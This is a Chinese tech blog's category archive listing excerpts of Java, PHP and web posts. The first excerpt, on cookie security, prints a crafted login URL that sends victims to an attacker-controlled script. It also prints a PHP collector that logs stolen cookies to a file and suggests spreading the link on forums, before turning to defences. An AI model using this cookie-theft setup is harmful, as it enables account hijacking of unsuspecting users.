分类目录归档:JAVA

关于java的那些事儿

Cookie欺骗及反欺骗 论cookie安全

Cookie文件不能作为代码执行,也不会传送病毒,它为用户所专有并只能由创建它的服务器来读取。 浏览器一般只允许存放300个Cookie, 每个站点最多存放20个Cookie, 每个Cookie的大小限制为4KB, Cookie代表了你的身份,那么安全性就有得考虑了。 1.Cookie欺骗: Cookie记录了用户的帐户ID、密码之类的信息,通常使用MD5方法加密后在网上传递。经过加密处理后的信息即使被网络上一些别有用心的人截获也看不懂。然而,现在存在的问题是,截获Cookie的人不需要知道这些字符串的含义,只要把别人的Cookie向服务器提交,并且能够通过验证,就可以冒充受害人的身份登陆网站,这种行为叫做Cookie欺骗。 别人穿了你的衣服,冒充你去做了新郎 2.Cookie截获 Cookie以纯文本的形式在浏览器和服务器之间传送,很容易被他人非法截获和利用。任何可以截获Web通信的人都可以读取Cookie。  这个就是一些新手,还有一些网站,傻乎乎的把用户的账户和密码,明文在互联网上传送。核心信息都是加密传送的。记住一点,你发出的任何经过浏览器的信息,提交的表单,不仅仅服务器知道,还有网络传送过程的经历的那些路由器 Cookie截获 http://www.XXX.net/tXl/login/login.pl?username=&passwd=&ok.X=28&ok.y=6;
将其中”“更换为:
”“再试,如果执行成功,就开始构造URL:
http://www.XXX.net/tXl/login/login.pl?username=&passwd=&ok.X=28&ok.y=6.
其中http://www.cbifamily.org/cbi.php是用户能够控制的某台主机上的一个脚本。需要注意的是”%2b”为符号”+”的URL编码,因为”+”将被作为空格处理。该URL即可在论坛中发布,诱使别人点击。
 步骤二:编制收集Cookie的PHP脚本,并将其放到用户可以控制的网站上,当不知情者点击了构造的URL后可以执行该PHP代码。该脚本的具体内容如下: <?php  $info=getenv("OUERY_STRING");  if($info){   $fp=fopen("info.tXt","a");   fwrite($fp,!info."\n");  fclose($fp); }  header("Location:http://www.XXX.net"); ?> 将这段代码放到网络里,则能够收集所有人的Cookie。如果一个论坛允许HTML代码或者允许使用Flash标签,就可以利用这些技术收集Cookie的代码放到论坛里,然后给帖子取一个吸引人的主题,写上有趣的内容,很快就可收集到大量的Cookie。在论坛上,有许多人的密码就是被这种方法盗走的。  明白为啥那么多安全团队都会明确指出你的search.php的参数,可以注入javascript脚本是多么的危险啊 废话那么多。只是我好奇 如何防止cookie被伪装,盗取 答案1:不用cookie,用session (session的硬伤是无法做到保持用户一年免输入密码登录) 答案2:用cookie,但是我加密 比如常规情况下我保存一个cookie username setcookie("username",$username); 现在我保存2个 username, token setcookie("username",$username); setcookie("token",$token); $token 是怎么来的 … 继续阅读

发表在 JAVA, PHP, WEB前端 | 标签为 , , | 留下评论

Java人员必须要会的10个技能

以下为java大数据计算招聘公司排行前10的技能
 Spring 299 MySQL 290 JavaScript 216 Linux 165 J2EE 151 设计模式 148 Struts2 138 Hibernate 132 Mybatis 130 jQuery 128 这是从450家企业的招聘信息中统计而来,月小升博客觉得还是比较真实的,虽然有些公司的招聘要求万年不变,但还是可以大致反应企业的招聘要求的。 尽管Struts2漏洞频出,但是由于政府、银行以及传统企业遗留项目大部分还是采用Struts2的,所以还是占有一定市场,但绝壁不会增长。新兴互联网公司,一般来说主要是Spring家族居多,spring、spring Mvc以及Spring Boot 出现的频率较多。 从图中可以看出,分布式服务框架应用也是大部分企业招聘的必要条件了,阿里系的Dubbo名列前茅。相应的分布式应用程序协调服Zookeeper也出现在其中。 时下很流行的RESTful架构,准确的来说它是一种标准。也是很多企业考察的对象。 以下是出现次数超过100的一些技能,大家可以做一个参考。 Spring 299 MySQL 290 JavaScript 216 Linux 165 J2EE 151 设计模式 … 继续阅读

发表在 JAVA | 标签为 , , , , | 留下评论

apache 自带压力测试工具ab 来场测试吧

apache自带压力测试工具 叫 ab 装了apache 在bin下就有了。 ab -n 20 -c 10 http://java-er.com/ -n 请求数量 -c并发数 你也可以 ab -n 1000 -c 100 your domain 返回结果 This is ApacheBench, Version 2.3 Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/ Licensed to The Apache … 继续阅读

发表在 JAVA, Linux, PHP | 标签为 , , | 留下评论

java 程序员如何成长

作为刚刚进入Java领域的新同学,无论是高校的毕业大学生,还是有志转行的在职人员,都面临着诸多如下的困惑。 l 如何学习Java语言? l 在Java学习过程中需要掌握哪些技能? l 各大公司对Java开发的要求是什么? l Java 学习过程中有哪些注意事项? l Java 工程师的职业发展规划是什么? 我把Java 的学习过程分为5个阶段:理论阶段、开发阶段、进阶阶段、实战阶段以及深造阶段。 理论阶段 在具体谈论Java知识点之前,我想先跟同学们聊聊Java 语言自身的一些特点、生态系统以及适用的场景,这有助于我们更好的学习语言本身。 首先,我们从Java 语言自身的实现机制来聊聊Java 语言的一些特性: 面向对象:Java 是一门面向对象的编程语言,封装、继承、多态这些特性使得Java 语言适用于大型软件系统的研发。 跨平台:这是Java 最重要的特性之一,由于有虚拟机的支持,Java 代码可以无缝运行在任何操作系统中,无需重新编译; 透明内存管理:做C/C++的同学最头疼的事情就是内存泄漏问题,在Java中,由于虚拟机会自动回收不再使用的内存空间,所以程序员无需显式回收内存。 足够的性能:性能一直是Java为人诟病的问题之一,但是在java6 之后,随着JVM虚拟机编译优化技术的不断进步,垃圾回收算法的不断优化,Java的性能已经能够胜任绝大多数系统的要求,甚至在性能要求极为苛刻的底层系统中,我们也能看到Java的身影。 此外,Java 还有完善的生态系统: Java 拥有数量众多的第三方类库,作为一个开发者,你会发现作为一名Java程序员是一件很幸福的事情,因为很多事情别人都已经帮你做好了,你需要做的只是把别人造好的轮子组装起来,实现你的业务需求。 Java 拥有非常完善的开发环境Eclipse,集成了非常多实用的功能,且操作界面非常友好。 Java 有非常多优秀的框架,基于这些框架,可以快速开发出一个可扩展的业务系统。 Java 拥有非常活跃的社区和论坛,当你遇到问题的时候,你可以快速的得到其他人的帮助。 … 继续阅读

发表在 JAVA | 标签为 , , | 2 条评论

HTML排版中文英文标点不对齐

经常做网页的时候,客户发来意见,一个字在单独一行,中文后面结尾不对齐诸如此类的细节性问题。 所有工程师都讨厌优化此类细节,首先没什么技术含量,其实这排版的活,真把自己搞得像个工人,农民了。 不过,魔鬼都在细节里,下次你可以做的更细,收取客户更多的费用。或许没收到费用,你会得到赞赏,得到更多的生意或者薪水。 就是使用一些空格实现个数不等的中文对齐或等宽。 字符以及HTML实体 描述以及说明 1.&nbsp; 这是我们使用最多的空格,也就是按下space键产生的空格。在HTML中,如果你用空格键产生此空格,空格是不会累加的(只算1个)。要使用html实体表示才可累加。为了便于记忆,我总是把这个空格成为“牛逼(nb)空格(sp – space)”,虽然实际上并不牛逼。该空格占据宽度受字体影响明显而强烈。在inline-block布局中会搞些小破坏,在两端对齐布局中又是不可少的元素。是个让人又爱又恨的小东东。 2.&ensp; 该空格学名不详。为了便于记忆,我们不妨就叫它“恶念(e n-ian)空格”。此空格传承空格家族一贯的特性:透明滴!此空格有个相当稳健的特性,就是其占据的宽度正好是1/2个中文宽度,而且基本上不受字体影响。 3.&emsp; 该空格学名不详。为了便于记忆,我们不妨就叫它”恶魔(e m-o)空格”。此空格也传承空格家族一贯的特性:透明滴!此空格也有个相当稳健的特性,就是其占据的宽度正好是1个中文宽度,而且基本上不受字体影响。 4.&thinsp; 该空格学名不详。我们不妨称之为“瘦弱空格”,就是该空格长得比较瘦弱,身体单薄,占据的宽度比较小。我目前是没用过这个东西,这里亮出来是让其过一下群众演员的瘾。 其中的 &ensp; 和 &emsp;, 由于具有某一超赞的特性,使其可以登上web届的舞台!什么特性呢?如上表加粗展示,1. 透明; 2. 宽度正好跟中文 正好是1:2和1:1的关系,于是,一些中文排版对齐什么的,直接就可以使用这两个空格调节,如: <ul> <li class="li">姓&emsp;&emsp;名:<input type="text" /></li> <li class="li">手&ensp;机&ensp;号:<input type="text" /></li> <li class="li">电子邮箱:<input type="text" /></li></ul> … 继续阅读

发表在 JAVA | 留下评论

MAC系统查看自己的java位置

打开命令行工具 which java /usr/bin/java ls -l /usr/bin/java lrwxr-xr-x 1 root wheel 74 12 3 2015 /usr/bin/java -> /System/Library/Frameworks/JavaVM.framework/Versions/Current/Commands/java ls -l /System/Library/Frameworks/JavaVM.framework/Versions drwxr-xr-x 8 root wheel 272 12 3 2015 A lrwxr-xr-x 1 root wheel 1 12 3 2015 Current -> … 继续阅读

发表在 JAVA, MAC | 标签为 , , | 留下评论

php-java-bridge php调用java的方法

此方法不需要重启apache,不需要修改php.ini文件 php-java-bridge 项目地址 http://php-java-bridge.sourceforge.net/pjb/download.php 下载 php-java-bridge.jar java.inc 双击php-java-bridge.jar 浏览器输入 http://localhost:8080/ 能看到下载目录的东西(因为我直接在我的下载目录双击了这个jar) 估计放在哪里双击,就会显示这个目录的所有文件。 网页底部显示这些信息 写一个php http://localhost/javaer/java.php 把下载的java.inc 放在javaer目录下 java.php 内容 <?php //define("JAVA_DEBUG", true); //调试设置 //define("JAVA_HOSTS", "127.0.0.1:8080"); //设置javabridge监听端口,如果开启javabridge.jar设置的端口不是8080,可通过此语句更改 require_once("Java.inc"); //php调用java的接口,路径问题需要注意 $here=realpath(dirname($_SERVER["SCRIPT_FILENAME"])); //java_set_library_path($here.PATH_SEPARATOR .’.'); //java_set_library_path($here.PATH_SEPARATOR .’.'); //设置java开发包(class或jar文件)路径,多个路径就用PATH_SEPARATOR分隔,保证跨平的支持。 //java_set_file_encoding("GBK"); //设置JAVA编码。没试过其它的编码,也没深入研究如何能用其它的编码。   echo ‘<meta charset="UTF-8">’; … 继续阅读

发表在 JAVA, PHP | 标签为 , , | 留下评论

Linux 安装php 的 ssh2扩展

在PHP中安装SSH2扩展库,用PHP通过SSH操作远程服务器,在远程服务器上执行命令。 这里基于linux(centos)发行版,其他发行版同理。 首先要确保系统已经安装好了LNMP或者LAMP环境。Nigix下使用的是php-fpm驱动的。 whereis php.ini 就可以快速找到自己的php配置文件 1、确认你的linux有安装mcrypt库,如果没有安装执行以下步骤 [root@test-206 ~]# yum list installed|grep mcrypt libmcrypt.x86_64 2.5.8-4.el5.centos installed libmcrypt-devel.x86_64 2.5.8-4.el5.centos installed mcrypt.x86_64 2.6.8-1.el5 installed yum install libmcrypt libmcrypt-devel mcrypt 2、编译安装libssh2 wget http://www.libssh2.org/download/libssh2-1.6.0.tar.gz tar zxvf libssh2-1.2.9.tar.gz cd libssh2-1.2.9 ./configure&&make&&make install 3、编译安装ssh2(官网http://www.php.net/ssh2) 各种版本 http://pecl.php.net/package/ssh2 … 继续阅读

发表在 JAVA | 留下评论

java批量给pdf加水印

找了一圈pdf在mac下的水印工具,都不太好用。java写一个吧 以下代码依赖itext5.3.3包, 从我的网盘下载 java操作pdf 依靠itext5.3.3 //读取原来的pdf PdfReader reader = new PdfReader("/test/" + "1.pdf"); //生成以后的pdf PdfStamper stamp = new PdfStamper(reader, new FileOutputStream("/test/" + "createSamplePDF2.pdf")); int max = reader.getNumberOfPages(); //max =2; // 文字水印 for (int i = 1; i <= max; i++) … 继续阅读

发表在 JAVA | 标签为 , , | 留下评论

java POST 数据给第三方URL

我曾经给服务器同步数据 1.采用过FTP传送一个txt文本,然后用php 拆解。 2.用过直接链接数据库 这个方案的好坏取决于1.数据库是否能对外直接链接(安全也是个问题) 2.数据库的链接效率。外面链接,总是不如本地链接速度快。 3.今天说说第三个办法,JAVA POST数据给服务器 //发送 POST 请求 String sr=HttpRequest.sendPost( "http://localhost:6144/Home/RequestPostString", "key=123&v=456"); /** * 向指定 URL 发送POST方法的请求 * * @param url * 发送请求的 URL * @param param * 请求参数,请求参数应该是 name1=value1&name2=value2 的形式。 * @return 所代表远程资源的响应结果 */ public static … 继续阅读

发表在 JAVA | 标签为 , , | 留下评论